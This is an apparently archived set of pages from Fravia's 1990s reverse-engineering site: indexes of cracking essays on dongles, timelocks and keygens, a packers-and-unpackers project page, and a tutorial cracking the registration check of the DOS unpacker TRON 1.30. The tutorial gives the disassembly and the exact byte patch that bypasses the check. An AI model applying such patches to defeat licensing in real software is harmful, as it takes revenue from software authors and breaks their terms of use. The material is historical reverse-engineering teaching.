Basic essays for beginning reversers

+HCU Database Navigation


ESSAYS 001-100 page (2 Mar 1997 - 4 Sep
The fundamental essays
1997)
ESSAYS 100-200 page (4 Sep 1997 - 28 Dec
The required reading for newbies essays
1997)
ESSAYS 200-300 page (28 Dec 1997 - 10 Jun
The beginner essays
1998)
ESSAYS 300-400 page (10 Jun 1998 - to
The intermediate essays
today)
The advanced essays

+HCU Papers Our tools Our protections


Programmers Corner Packers & Unpackers Unassigned
Project 0: Wdasm reversing Project 1: Hexeditors & co Project 2: Softice & Numega's
Project 5: Netscape
Project 3: Dongles cracking Project 4: CD-Rom faking
ameliorating

http://www.instinct.org/fravia/beginner.htm (1 of 2) [2/7/2001 3:11:34 PM]


Essays for Beginners

Project 7: Most stupid Project 8: VisualBasic


Project 6: Crippled targets
schemes cracking
Project 9: Micro$oft bashing

The essay database


Date Contributor Essay Description Project Reference
~ ~

If you think an essay


should belong here mail
Fravia+

Go to the top of this database page

our protections programmer's corner our tools

homepage links anonymity +ORC javascript wars academy database


bots' wars tools cocktails antismut CGI-scripts search forms mail fravia+
Is reverse engineering legal?

(c) Fravia+ , Krugman, 1995, 1996, 1997, 1998. All rights reversed

http://www.instinct.org/fravia/beginner.htm (2 of 2) [2/7/2001 3:11:34 PM]


Academy 300

+HCU: Academy of Reverse Engineering

Founded by +ORC in April 1996

n 3
Academy of reverse engineering: ESSAYS 201-300
(Archive: 28 Dec 1997 - 10 Jun 1998)

+HCU Database Navigation


ESSAYS 001-100 page (2 Mar 1997 - 4 Sep
The fundamental essays
1997)
ESSAYS 100-200 page (4 Sep 1997 - 28 Dec
The required reading for newbies essays
1997)
ESSAYS 200-300 page (28 Dec 1997 - 10 Jun
The beginner essays
1998)
ESSAYS 300-400 page (10 Jun 1998 - to
The intermediate essays
today)
The advanced essays

+HCU Papers Our tools Our protections


Programmers Corner Packers & Unpackers Unassigned
Project 0: Wdasm reversing Project 1: Hexeditors & co Project 2: Softice & Numega's
Project 5: Netscape
Project 3: Dongles cracking Project 4: CD-Rom faking
ameliorating
Project 7: Most stupid Project 8: VisualBasic
Project 6: Crippled targets
schemes cracking
Project 9: Micro$oft bashing

The essay database


Date Contributor Essay Description Project Reference

http://www.instinct.org/fravia/aca300.htm (1 of 8) [2/7/2001 3:11:42 PM]


Academy 300

28 proj 9
Dec TWD ~ twd_aeo.htm Happy new year with "Age of Empires" ~ fra_00C9
proj 4
97
31
Dec Tristan ~ scniscni.htm BEGINNERS: most stupid protection 1997! proj 7 ~ fra_00CA
97
01
Jan flipper ~ flip_sl.htm Control panel applets cracking unass. ~ fra_00CB
98
01
Jan Uncle Van ~ uvessa_2.htm Encoded selfmodifying targets advanc. ~ fra_00CC
98
04
winrar 95 ver.2.0: the guts of a simple
Jan Little-John ~ littlejo2.htm proj 1 ~ fra_00CD
protection
98
05
Jan Jon ~ jongamcr.htm Game hack secrets unass. ~ fra_00CE
98
07
Hackmore+
Jan ~ hr_ferr1.htm How To Crack A Ferret advanc ~ fra_00CF
Readrite
98
09
Patching the Patcher: Cracking .RTPatch
Jan snickers ~ snickel.htm projunpa ~ fra_00D0
Professional - 4.00 Eval Release
98
11
Jan +Alt-F4 ~ altF4j_a.htm Cracking Wingdis 2.12 proj 1 ~ fra_00D1
98
12
Reverse Engineering MATLAB 5 - Part I:
Jan +Aitor ~ aitor1.htm proj 3 ~ fra_00D2
Dongle Protection
98
13
The Protexe v2.11 - Exploring a paranoid protection projunpa
Jan ~ banda7.htm ~ fra_00D3
Undertaker scheme
98
15
Jan +RCG ~ rcg_cmsp.htm Comspy98: a tool of our trade ourtools ~ fra_00D4
98
16
Jan Marigold ~ marigold.htm DoNotWasteTime_MrCracker@@YGHPBDP... timelock ~ fra_00D5
98
17
Jan +PopJack ~ popja_51.htm OCX Control Highlights - Licensing schemes proj 8 ~ fra_00D6
98
19
Reverse Engineering MATLAB 5 - Part II:
Jan +Aitor ~ aitor_45.htm projunpa ~ fra_00D7
InstallShield Packages Encryption
98

http://www.instinct.org/fravia/aca300.htm (2 of 8) [2/7/2001 3:11:42 PM]


Academy 300

20 advanc.
Jan Quine ~ quine_h1.htm Pushing the Envelope with HASP projunpa ~ fra_00D8
98 proj 3
20
Jan Marigold ~ marigo_2.htm Ulead GifAnimator 2.0 Trial: Virginity restored timelock. ~ fra_00D9
98
22
Jan Spyder ~ spyder_4.htm SSI Win32 Dongle Protection proj 3 ~ fra_00DA
98
27 advanc.
Jan Quine ~ quine_51.htm Extending the IDA Script Language ourtools ~ fra_00DB
98 proj 6
29 advanc.
Dongle Bashing: end of the dongle old aera ~
Jan Frog's Print ~ fp_dong1.htm progcor ~ fra_00DC
Dongles bye bye
98 proj 3
01
VXDennis the menace ~ Fun with VRAMDIR
Feb CoreFixar ~ lordthu1.htm ourtools ~ fra_00DD
v1.07
98
02
How to crack HTMLedPro32 2.0d ~ Destroy it
Feb Edi ~ edi1.htm unass. ~ fra_00DE
to make it work
98
02
The TRAP Ver 1.13 ~ Opcode generators and
Feb ~ dimit_12.htm projunpa ~ fra_00DF
Undertaker selfchanging code
98
03
Marx Crypto Box, the most Secure device ever
Feb Dr Fuhrball ~ fuhrba_3.htm proj 3 ~ fra_00E0
made
98
04
Feb Fallen ~ donjo2.htm Cracked Metal, runtime dll creation progcor ~ fra_00E1
98
11
Cracking the ShareLock Protection System
Feb XaVaX ~ xavax1.htm progcor ~ fra_00E2
(SHRLK20.DLL)
98
12
Feb NaTzGUL ~ natz51.htm InstallSHIELD Script Cracking, a Tutorial advanced ~ fra_00E3
98
12
Feb Jon ~ jonla_13.htm BEGINNERS: A key-gen for AddItem unass. ~ fra_00E4
98
12
sPIRIT RealPlayer Plus 4.0: the "dummy code check"
Feb ~ spirit_1.htm progcor ~ fra_00E5
HellRaiser trick
98
13
Feb HalVar+ ~ halva_3.htm SOFTWrapper: wrapping galore progcor ~ fra_00E6
98

http://www.instinct.org/fravia/aca300.htm (3 of 8) [2/7/2001 3:11:42 PM]


Academy 300

13
Feb MaD ~ dong_mad.htm Unplugging a dongle protection proj 3 ~ fra_00E7
98
16
BEGINNERS: Use Opera! (Bye Bye Navigator unass.
Feb Hal+ ~ hal_oper.htm ~ fra_00E8
?)
98
16
DONGLES: The weak brothership between
Feb MaD ~ maddon_1.htm proj 3 ~ fra_00E9
hard- and software
98
25
Feb Hs2L ~ smartc_2.htm An example of VB Cracking using SmartCheck proj 8 ~ fra_00EA
98
26 proj 3
Feb -bajunny ~ bayu_2.htm Undocumented HASP - part I ~ fra_00EB
advanced
98
28 Our protect
Jack of
Feb ~ jackrev.htm Reversing +Aesculapius ~ fra_00EC
Shadows advanced
98
01 advanced
Mar SiuL+Hacky ~ siulinux.htm Linux GUIs. The Chances ~ fra_00ED
ourtools.htm
98
04
Mar MaD ~ madlas1.htm DONGLES: Revealing sentinel Pro main code proj 3 ~ fra_00EE
98
04
Decompiling InstallShield scripts and guidelines progcor
Mar Zeezee ~ zee_inst.htm ~ fra_00EF
for decompiler writers
98
04
Mar madmax! ~ madmasu.htm Cracking using KERNEL32.DLL advanced ~ fra_00F0
98
04
Mar FootSteps ~ oldiegoo.htm Oldies but Goodies proj 4 ~ fra_00F1
98
08
Mar Duke ~ dukeess.htm Inside the VB3 .EXE proj 8 ~ fra_00F2
98
10
Winrar [95] the other path (Encryption
Mar +Indian_Trail ~ it_winr2.htm unass. ~ fra_00F3
Mechanism)
98
12 proj 3
Mar bajunny ~ bayunn2.htm Undocumented HASP - part II ~ fra_00F4
advanced
98
16
Mar iceman ~ iceman.htm Tweaking with memory in Window95 papers ~ fra_00F5
98

http://www.instinct.org/fravia/aca300.htm (4 of 8) [2/7/2001 3:11:42 PM]


Academy 300

16
Mar The RudeBoy ~ rudeboy.htm BEGINNERS: Thinking Like a Cracker unass. ~ fra_00F6
98
16
Mar The Nameless ~ panthe.htm BEGINNERS: Big tent, little circus proj 7 ~ fra_00F7
98
16
Mar i_magnus ~ siceinst.htm BEGINNERS: SoftICE Install for Beginners unass. ~ fra_00F8
98
20
Mar iceman ~ iceman1.htm WIN32 - Inside Debug API papers ~ fra_00F9
98
20 advanced
Mar Stone ~ stone1.htm In memory patching: three approaches ~ fra_00FA
papers
98
20
Cracking Rightime: Encryption and checksums unass.
Mar Red Lantern ~ redla1.htm ~ fra_00FB
in a small DOS utility
98
31
BEGINNERS: Cracking Micro$oft Visual
Mar TWD ~ twd_ms_.htm proj 9 ~ fra_00FC
SourceSafe 5.00
98
31
Software protection history: Reinitializing Lotus
Mar Tomboy ~ 123dos.htm unass. ~ fra_00FD
1-2-3 (DOS versions)
98
31
How to perform some magic reversing with
Mar F_KingKrazy ~ kk_cunei.htm unass. ~ fra_00FE
good old BRW
98
31
A complete, nake protection code: Cracking
Mar CapedCrusader ~ capedcr.htm unass. ~ fra_00FF
WinZip32
98
31
Reverse Engineering MATLAB 5 - Part III:
Mar +Aitor ~ aitor003.htm unass. ~ fra_0100
Licenses
98
3 Apr DartPro 32 Cracking, a crippled 'save' with
Entropy ~ entropy1.htm unass. ~ fra_0101
98 encryption mechanism
23
Netscantools3.1 trial (What's new with
Apr JaZZ ~ netscan3.htm timelock ~ fra_0102
timelock?)
98
23
Apr Kabhoet ~ new_kha.htm BEGINNERS: NJWin 1.6 Checksum Cracking unass. ~ fra_0103
98
27
Apr Archimede ~ new_archi.htm The total reset protection scheme unass. ~ fra_0104
98
27
anormal A new kind of protection? Design your own
Apr ~ new_anor.htm advanced ~ fra_0105
kindergarten CPU!
98

http://www.instinct.org/fravia/aca300.htm (5 of 8) [2/7/2001 3:11:42 PM]


Academy 300

27
Apr Masher ~ canterbu1.htm Getright: the beast within unass. ~ fra_0106
98
27
CheckPop 1.1 for Windoze95/98/NT4 by Nevis unass.
Apr VucoeT ~ vuctut01.htm ~ fra_0107
Systems
98
27
Diary Link 97: Menu disable and active by
Apr Kabhoet ~ ne_khab1.htm proj 7 ~ fra_0108
Register Number
98
03
BEGINNERS: A correction/addition to
May ReZeL ~ rezel1.htm unass. ~ fra_0109
RudeBoy's essay
98
03
Web Browser emulation
May Hs2L ~ hs2l_22.htm unass. ~ fra_010A
(Letting web pages get less info about you)
98
03
Cracking MicroCal Origin 5.0 in 3 Simple
May -MML- ~ origin_1.htm proj 6 ~ fra_010B
Ways
98
03 BEGINNERS: Why should we crack a program
May +dynamite ~ dynam_1.htm that DOES NOT CHANGE at all if you register unass. ~ fra_010C
98 it?
03
Cracking MicroCal Origin 5.0 in 3 Simple
May Sandman ~ sandma1.htm proj 2 ~ fra_010D
Ways
98
04
May +Aesculapius ~ strain99.htm The +HCU '99 STRAINER strainer ~ fra_010E
98
04
BEGINNERS:Pluckit 3.0 ~ Hip Hip Hurray for proj 8
May +Indian_Trail ~ ind_tra1.htm ~ fra_010F
Smartcheck
98
04 advanced
Opening a Vbox full of worms:
May Marigold ~ marigbox.htm ~ fra_0110
PreviewParadise lost timelock
98
04 advanced
How to crack an hardcore dongle-protected
May Shaman ~ casmw652.htm ~ fra_0111
program proj 3
98
04
Visual Basic Unprotection... Programmers:
May Little John ~ littlejo1.htm proj 8 ~ fra_0112
don't protect with visual basic!
98
05
Reverse Engineering a Compressed Target
May +ReZiDeNt ~ rezide7z.htm packers ~ fra_0113
(Phase I)
98
08
May Rudeboy ~ rudebo21.htm Four "atomic" cracking approaches! unass. ~ fra_0114
98

http://www.instinct.org/fravia/aca300.htm (6 of 8) [2/7/2001 3:11:42 PM]


Academy 300

08
May Ether ~ ether1.htm BEGINNERS, the PSP protection again unass. ~ fra_0115
98
08
The supression and resurrection of assembler
May SLH ~ hutch1.htm papers ~ fra_0116
programming.
98
08
Instant removing of CrypKey (together with a
May Marigold ~ marycri1.htm progcor ~ fra_0117
lock) Unwrapping the wrapped
98
08
The resurrection of assembly programming -
May Masta ~ winasm_0.htm papers ~ fra_0118
Essay nr. 0
98
11
May JaZZ ~ crlvent7.htm Corel Ventura 7 trial: Crack it the hard way advanced ~ fra_0119
98
11 advanced
May Iceman ~ iceext1.htm "Extending Softice serie" ("Zauberreversing") ~ fra_011A
papers
98
16 BEGINNERS: An introduction to code
May Prophecy ~ prophe_1.htm generation routines: reversing Teleport Pro unass. ~ fra_011B
98 v1.29
16
May SLH ~ hutch_61.htm The Bridge: In Pursuit Of Lost Knowledge papers ~ fra_011C
98
16
Palmpilot reversing: Experience a brand new
May Tek ~ tek1.htm papers ~ fra_011D
taste in cracking
98
19
May The RudeBoy ~ rude45.htm Reversing Packed Targets packers ~ fra_011E
98
21
May SLH ~ hutquest.htm THE QUEST: Building the launch pad papers ~ fra_011F
98
21
May Goth ~ sales1.htm SalesAgent 3.0: Rsagnt32.dll, TurnKey and Me progcor ~ fra_0120
98
25
The resurrection of assembly programming -
May Masta ~ winasm_1.htm papers ~ fra_0121
Essay nr. 1
98
27 advanced
Undocumented HASP 3 (no more security
May Bajunny ~ bayu3.htm ~ fra_0122
through obscurity) proj 3
98
29
May SLH ~ hutch28.htm Software warriors through the warp papers ~ fra_0123
98

http://www.instinct.org/fravia/aca300.htm (7 of 8) [2/7/2001 3:11:42 PM]


Academy 300

01
A different approach cracking a DOS
June Q ~ q_tsr601.htm proj 4 ~ fra_0124
CD-protection
98
01
June Q ~ q_tv0601.htm "Fixing" AIMS-Lab's VH-TV Program progcor ~ fra_0125
98
05
Little essay about the various methods and
June Joa ~ crunchi1.htm papers ~ fra_0126
viewpoints of crunching
98
05
The PicaView32 KeyGenerator (keygenerators
June +mISu ~ misu1.htm unass. ~ fra_0127
in C++)
98
05
The Eye Of The Warrior (a "graphical"
June SLH ~ hutch_65.htm papers ~ fra_0128
windows' paper)
98
10
Little essay about the various methods and
June Joa ~ crunchi2.htm papers ~ fra_0129
viewpoints of crunching II
98
10
June SLH ~ hutchif1.htm The iron fist (Keeping The Crackers Amused) papers ~ fra_012A
98
15
What's behind the mm256.dat and mm2048.dat
June fravia+ ~ mmstory.htm proj 9 ~ fra_012B
files?
98
15
PreviewParadise R.I.P. (vboxed programs... bye timelock
June Xoanon ~ xoa_126.htm ~ fra_012C
bye!)
98

Total: reverse
no more beginners essays please 315 essays
136 engineers

Go to the top of this database page

our protections programmer's corner our tools

homepage links anonymity +ORC javascript wars academy database


bots' wars tools cocktails antismut CGI-scripts search forms mail fravia+
Is reverse engineering legal?

(c) Fravia+ , +ReZiDeNt, Krugman, 1995, 1996, 1997, 1998. All rights reversed

http://www.instinct.org/fravia/aca300.htm (8 of 8) [2/7/2001 3:11:42 PM]


projunpa.htm: Fravia's page of reverse engineering: Packers and Unpackers

+HCU: Academy of reverse engineering


Founded by +ORC in April 1996

Packers and Unpackers: an arms race


Project start: Last update:
September 1997 September 1999

Courtesy of Fravia's page of reverse engineering


This new section is of course related to the "Our protection" project
[essays] ~ [how does an unpacker work?] ~ [crunching]

Are we concerned?
Yes, we are.
From a reverser perspective, packers (and unpackers)
represent an ideal field of study, for obvious reasons: since
the prehistory of software protection one of the most
commonly used systems in order to avoid de-protection
consisted, of course, in the "packing" (and the de facto
encrypting) of the executable files. A packed executable
cannot be hex-edited, nor is it possible to modify it easily on
the fly. Even to day shrewd net inhabitants exchange files
that have been zipped AND THEN lha-compressed, knowing
that most automatic sniffers will NOT be able to
intercept/decrypt such "double compressed" files on their
road around the world.
There is indeed an even better method: compressing data
using home made algorithms (child-easy if you are a
cracker): i.e. algos that are slightly different from the main
commercial ones.
This is one of the best methods I know of to avoid automated
interception... even better than zipping and PSPing your
communications, I have been told by the older ones, since
some automated sniffers apparently can crack PSP but no

http://www.instinct.org/fravia/projunpa.htm (1 of 6) [2/7/2001 3:11:56 PM]


projunpa.htm: Fravia's page of reverse engineering: Packers and Unpackers

automated sniffer will ever know the simple silly algorithms


that you have made out yourself together with your pals! You
dig it? These encryption algos may be simple and stupid, but
they will be NEW (since you made them) and therefore
impossible to decipher for any automated sniffer robot (ok, if
humans are sniffing, they will be able to quickly decrypt your
communications, but most of the times humans are called in
only AFTERWARDS, if an automated robot has smelt (or
smelled, whatever you prefer :-) a rat in the first time.
The old "arms race" between packers and unpackers,
represents a very interesting snippet of the history of
software, since both kind of programs have been (and are
being) written by GOOD ASSEMBLY programmers and
buffs, and not by those stupid overbloated "windozed"
zombies that dare call themselves 'programmers' nowaday.
This race has IMHO entered a new phase with the
development of tron, a DOS based unpacker which is really
able to unpack UNKNOWN algorithms simply by examining
the "clearing" of the code in memory (that's in nuce the work
a reverse engineer would have made per hand).
It does not wonder me that unpackers keep ahead vis-a-vis of
packers: often the same programmers develope packers as
well as unpackers! (like some virii writers I knew of, that
have later turned into brave, honest "commercial" antivirus
From Fravia's own private protectionists :-) and -come to think of it- who would ever
"cracking posters" collection need new packers if the old ones would work flawlessly?
Given this situation, and the quick evolution of this matters,
"Get hot - Keep cracking" reverse engineers, code buffs, software dudes and assembly
(1942) wizards (i.e. most readers of my pages :-) have much to learn
from this fascinating sector!
The +HCU Packers
and Unpackers project
(1997)

Intent of this section


I don't intend to recreate, with this section, one of the ubiquitous lists of all packers and unpackers tools
that do exist on the web... you'll anyway find an example of them below.
The main "point" of this project is to deepen some reversing aspects of the packers and unpackers thema.
For much more packers and unpackers related material and tools don't forget to check (and contribute to)
the two best pages I know of for packers & unpackers (ring me if you feel there are other pages that
should be added):

http://www.instinct.org/fravia/projunpa.htm (2 of 6) [2/7/2001 3:11:56 PM]


projunpa.htm: Fravia's page of reverse engineering: Packers and Unpackers

Stone's page
See the packers & unpackers list there... Stone is a great reverser, and I like his work a lot beacuse he is
one of the few good reversers that do actually CONTRIBUTE to our science
Lord Caligo's page
There is no need to present LordCaligo's site: one of the BEST sites around, his packers and unpackers
collections and links and files are among the best on the web...
These matters are also relevant for a future possible +HCU project: "demomakers' creations"... i.e. the
disassembly and reverse engineering of the (often heavily "antisniffing" protected) "intros" and "demos"
of the graphical demo scene... we'll see... in the meantime, here you go with our essays about packers,
unpackers and installshields reverse engineering. Don't forget to read Joa's series about crunching!

Awaiting more contributions, you lazy scoundrels!

THE ESSAYS
PHASE A
by The Undertaker, 18 Sep 1997
Tron version 1.30
"Reverse engineering the feeble protection scheme of a good unpacker"
PHASE B
by snickers, 09 Jan 1998
Patching the Patcher: Cracking .RTPatch Professional - 4.00 Eval Release
"Fun with packed files"
PHASE C
by The Undertaker, 13 Jan 1998
PROTEXE V2.11 - by TOM TROFS
"EXPLORING A PARANOID PROTECTION SCHEME"
PHASE D
by +Aitor, 19 Jan 1998
Reverse Engineering MATLAB 5 - Part II: InstallShield Packages Encryption
"how NOT to encrypt your own programs"
PHASE E
by Quine, 20 Jan 1998
Pushing the Envelope with HASP
"De-Hasping, zip cracking and other marvels"

http://www.instinct.org/fravia/projunpa.htm (3 of 6) [2/7/2001 3:11:56 PM]


projunpa.htm: Fravia's page of reverse engineering: Packers and Unpackers

PHASE F
by The Undertaker, 02 February 1998
TRAP Ver 1.13 EXPLORING A STUPID PROTECTION SCHEME
(Opcode generators and selfchanging code)
PHASE 10
by +ReZiDeNt, 05 May 1998
Reverse Engineering a Compressed Target (Phase I)
A surgical attack (we cut open the target, repair the damage, then stitch it up again)

19 May 98 The RudeBoy ~ rude45.htm Reversing Packed Targets packers ~ fra_011E

20 May 99 +tsehp ~ packepro.htm A Packed protection packers ~ fra_xxxx

Manually Unpacking - ASPack


6 July 99 Volatily ~ volati_s.htm packers ~ fra_xxxx
v1.083
Generating a patch for a packed
6 September 99 Lord Soth ~ patchpck.htm program: Another approach to packers ~ fra_xxxx
cracking packed programs
Cracking a packed exe. _packer: packers
6 September 99 Staier ~ threade.htm ~ fra_xxxx
Neolite 2.0 _program: AZPR 2.31.

Some 'snippets' may also result quite interesting for this project:

The Undertaker's Unpack/unprotect com files using debug.exe 16 January 1998


(old powerful dos debugging - still useful today - "An acquarium for your viri")

How does an unpacker work?


Well, since not all of you will read and study the abovelinked essay by the Undertaker, and since we'll
anyway work mostly with this intersting "tron" tool, let's give a taste of its working to all people that are
only browsing this part of my site and that have not yet "decided" if they want to embark on this
reversing path...
Here is how tron130.zip works... see which packed files dwell on the hard disk of the computer I am
using right now: here are the packed files on the c:\windows directory of this PC, as seen through my
(slightly modified) own copy of tron:

fratron -i c:\windows\*.exe >showme

http://www.instinct.org/fravia/projunpa.htm (4 of 6) [2/7/2001 3:11:56 PM]


projunpa.htm: Fravia's page of reverse engineering: Packers and Unpackers

-- 0001 --
processing file : C:\WINDOWS\PSEDIT.EXE
file structure : executable (EXE)
processed with : LZEXE V0.91
-- 0002 --
processing file : C:\WINDOWS\MAP.EXE
file structure : executable (EXE)
processed with : LZEXE V0.91
-- 0003 --
processing file : C:\WINDOWS\PKUNZIP.EXE
file structure : executable (EXE)
processed with : REGISTERED PKLITE V1.20
-- 0004 --
processing file : C:\WINDOWS\PCTOOLS.EXE
file structure : executable (EXE)
processed with : EXEPACK V4.05/4.06
-- 0005 --
processing file : C:\WINDOWS\PKZIPFIX.EXE
file structure : executable (EXE)
processed with : REGISTERED PKLITE V1.20
-- 0006 --
processing file : C:\WINDOWS\VXDLIB.EXE
file structure : executable (EXE)
processed with : REGISTERED PKLITE V1.13

CRUNCHING
Little essay about the various methods and
12 December 98 Joa ~ crunchi1.htm papers ~ fra_0126
viewpoints of crunching
Little essay about the various methods and
10 June 98 Joa ~ crunchi2.htm papers ~ fra_0129
viewpoints of crunching II
Little essay about the various methods and
17 June 98 Joa ~ crunchi3.htm papers ~ fra_012E
viewpoints of crunching III
Little essay about the various methods and
17 June 98 Joa ~ crunchi4.htm papers ~ fra_xxxx
viewpoints of crunching IV
Little essay about the various methods and
17 June 98 Joa ~ crunchi5.htm papers ~ fra_xxxx
viewpoints of crunching V

http://www.instinct.org/fravia/projunpa.htm (5 of 6) [2/7/2001 3:11:56 PM]


projunpa.htm: Fravia's page of reverse engineering: Packers and Unpackers

Little essay about the various methods and


17 June 98 Joa ~ crunchi6.htm papers ~ fra_xxxx
viewpoints of crunching VI
Little essay about the various methods and
17 June 98 Joa ~ crunchi7.htm papers ~ fra_xxxx
viewpoints of crunching VII
Little essay about the various methods and
17 June 98 Joa ~ crunchi8.htm papers ~ fra_xxxx
viewpoints of crunching VIII

You are deep inside fravia's page of reverse engineering, choose your way out:

List of packers and unpackers Tron version 1.30

Our protections Our own tools Programmer's corner


homepage links anonymity +ORC students' essays tools cocktails
academy database antismut search_forms mail_fravia
is reverse engineering legal?

(c) Fravia, 1995, 1996, 1997, 1998, 1999. All rights reserved

http://www.instinct.org/fravia/projunpa.htm (6 of 6) [2/7/2001 3:11:56 PM]


undtron1

Packers and Unpackers: phase 1

Tron version 1.30


by The Undertacker
(19 September 1997, heavily modified by fravia+)

Courtesy of Fravia's page of reverse engineering


Well, this essay by our srilankan friend: The Undertaker, has given me the possibility to open our new section: "Packers
and Unpackers: the arms race". I have modified this essay, editing it, since the exact ROAD used by The Undertacker in
order to find the protection scheme was far from clear... I hope that The Undertaker will agree with my changes, if not, I'm
ready to modify whatever he feels should be adjusted :-)

TRON v.1.30
EXE UNPACKER WITH ANTI-DEBUGGING FACILITY
BY
The Undertaker -=BANDA=-

This is the windows' dark age... a period of fear and poverty and black magical software arts, where only few wizards,
inside the high Micro$oft's towers, know how to assemble and disassemble software, while the stupid peasants
programmers are condemned to use ineffective and overbloated languages, and the Lord of the Gates laughs at their feeble
attempts to break free of an imposed OS-poverty.

Because Micro$oft does not want people to be free, see, they would loose money in such a process... they are pushing
everybody to learn VB+, Access and all other NON powered programming languages... keeping assembly aside. Only
"fringe's" little groups: demomakers, reverse engineers, virus writers and crackers still use assembly, and they too are in
danger, censored and sued and prosecuted by the lackeys and servants of the black Lord of the Gates.

People that use LOW powered languages can do only very little, only miserable things. So Micro$oft can dominate the
software arena very easily... where are the assembly coders (and the resources) that, if concentrated on a simple software
developing project, would quickly push Word for windows in the oblivion that such a miserable wordprocessor deserves?
Nowhere... you only get as flawed "concurrence" to MS-abomination, aborts like Wordpro, Wordperfect for windows,
amipro and similar poor concoctions, written in the overbloated languages of the enemy and THEREFORE unable to fight
him aside.

The reason for the weak protection schemes used by Micro$oft is not that they "don't care" if we crack or not their
programs, is their "hybris": they think that people are already "done", that everybody only knows low powered
programming languages... that assembly is only propriety of few reverse engineers (a good ancient race of white
non-commercial wizards, a race that has almost disappeared... +ORC has tried hard to "revamp" interest in it, yet the
knowledge is -as before- confined to the few readers of these lines) and to the research and development engineers (many of
them were crackers at dawn, then followed the dark path of money... and are now greedy servants of the big corporations
and our worst enemies)

http://www.instinct.org/fravia/undtron1.htm (1 of 4) [2/7/2001 3:12:02 PM]


undtron1

So! Learn right now ASSEMBLY LANGUAGE (and nothing else until you have
learned it).
The more you learn and understand the more you'll be able to damage Micro$oft!
Try to contribute something, to the world, in order to get rid of Micro$oft's
"one man show".
Develop a O/S (No kidding! If you try you can do it... you can do ANYTHING
when you know assembly!) in order to kick Micro$oft away from the
scene.
I will release my O/S early 1998 all over the web (BANDA v1.0b GUI).

Finally, I would like to thank fravia+ for his great contribution to our
world of assembly.

OK, let's start our work... we are here, to day, in order to use fully a very
important tool for our reverse engineering endeavours: TRON, a very good
(and powerful) Unpacker.
As usual, we are reversing targets only for fun and for educational purposes...
tron is a good tool, made by a good programmer (Michael Bauder, Germany).
A pity that it is so miserably protected. Anyway, if you use it, pay for it, as I
did. This is a very good dos application (yes, there are still very good quality
DOS programs available) and deserves it.

TRON is better than the well know UNP.


This tool has an unique feature for "anti-debugging" tricks.
This program can unpack files packed with UNKNOWN packers & encrypters,
tracing through the packed code (yes, it spares us our own work!).

OK, download this program here and let's start


reversing it right now.

Tools: Wdasm89: create your tron.alf

Let's see what "hooks" we have: run a "forbidden" option (say -u) and you'll
get following nag-string:
"Unregistered! You must register to use this part of tron"
And what does our target make afterwards? The program stupidly exits
back to DOS! That's GOOD! :-)

In all banal dos programs there are terminate with return code interrupts (21/4C).
These represent the end of the program, and like all endings, there may be
"happy ends" and "sad ends".
If you have done something wrong (like for instance asking for a registered
option being unregistered :) you'll get a sad ending, most of the time.
Let's start reversing from there. We'll find quite a lot of INT 21/4C inside
this target (probably one for each recognised packer... dunno... who cares?),
yet most will be under the "happy ending" form 21/4C-00... like this one,
taken as example:

:0001.197E B8004C mov ax, 4C00


:0001.1981 CD21 int 21

which does NOT interest us, since 00 (in al) is, as I said, the "normal
termination". There are only two different int 21/4C inside our target,

http://www.instinct.org/fravia/undtron1.htm (2 of 4) [2/7/2001 3:12:02 PM]


undtron1

and, loo and behold, they have both to do with the protection of tron!

THE FIRST "UNHAPPY" INT 21/4C inside tron:


* Referenced by a Jump at Address:0001.192C(C)
|
:0001.193D E8F0FF call 1930
:0001.1940 A1B711 mov ax, word ptr [11B7]
:0001.1943 8B16B511 mov dx, [11B5]
:0001.1947 A30B11 mov word ptr [110B], ax
:0001.194A 89160D11 mov [110D], dx
:0001.194E E83200 call 1983
:0001.1951 B44C mov ah, 4C ;terminate with unknown ret code in al
:0001.1953 CD21 int 21 ;could be anything the previous call
;decides
THE SECOND "UNHAPPY" INT 21/4C inside tron:
:0001.3C25 B8FF4C mov ax, 4CFF ;returns -1, a really "sad" ending
:0001.3C28 CD21 int 21

AH AH!, a call immediately before the first one, responsable for an


eventual sad ending... we'll need to have a look!
:0001.194E call 1983
:0001.1953 INT21/4C_who_knows until we examine the previous call?

AH AH! The second one returns FALSE!


We'll need to backtrace, if you look at your dead listing you'll see
that a file has been closed short before... and you could go back
from here...
:0001.3C28 INT 21/4C_FF

Let's have a look at both "unhappy" interrupts... as you'll see the


first one will show THE START of our target's protection, and the
second one will show THE END of our target's protection.
Since going forward is easier than backtracing, we'll begin
investigating the suspect call before the first int 21/4C unknown
ending (note that, if necessary, we could have proceeded the other
way round, "remounting" back to our target's protection from the
int 21/4C that returns the "sad ending" FF).
The first occurrence of an eventual "not normal" termination is
preceded by a call which we have to investigate... as you'll see,
it checks about the eventual "necessity" to check the user:

* Referenced by a CALL at Address:0001.194E


|
:0001.1983 803E730B01 cmp byte ptr [0B73], 01 ;check flag check user
:0001.1988 7503 jne 198D ;continue with list_o_calls
:0001.198A E95E03 jmp 1CEB ;check user

* Referenced by a Jump at Address:0001.198A(U)


|
:0001.1CEB 813E0202FB75 cmp word ptr [0202], 75FB ;check the Reg value
:0001.1CF1 7409 je 1CFC ;Registered User! Go ahead!
:0001.1CF3 BA3809 mov dx, 0938 ;Bad user, beggar off!

http://www.instinct.org/fravia/undtron1.htm (3 of 4) [2/7/2001 3:12:02 PM]


undtron1

;at ~38 you have inside the code of our target the
;string "0D/0A/UNREGISTERED!!! you must register to use
;this part of tRON!
:0001.1CF6 E89E22 call 3F97 ;call INT 21/2 output char
:0001.1CF9 E9F41E jmp 3BF0 ;close file and terminate -1

Infact, if you follow the unconditional jmp to 3BFO, you'll soon land here:
:0001.3C25 B8FF4C mov ax, 4CFF ;returns -1
:0001.3C28 CD21 int 21

OK, that's war for tron's protection:


The crack seems indeed utterly simple:
:0001.1CF1 7409 je 1CFC ;Registered User! Go ahead!
changed into
:0001.1CF1 EB09 jmp 1CFC ;Anybody! Go ahead!
Well, looking behind at the protection scheme used by tron, and at the code snippet we have examined, one would probably
not readily agree with tron's Author about this program being written in "Pure HARDCORE Assembler! What else? 16 &
32 bit technology!", as they claim inside tron.doc :-)

BTW, there is another, completely different way to track the same scheme:
Use Softice 2.8 for DOS
Create a packed file lhaed.exe using a packer
Run Softice loader with ldr tron -u lhaed.exe
BPX CS:194E (:0001.194E call 1983)
Follow the call and so on (see above).

Many thanks to the +HCU guys!

The Undertacker -=BANDA=- //SRI LANKA//

You are deep inside fravia's page of reverse engineering, choose your way out:

Back to the arms race

homepage links anonymity +ORC students' essays tools cocktails


academy database antismut search_forms mail_fravia
is reverse engineering legal?

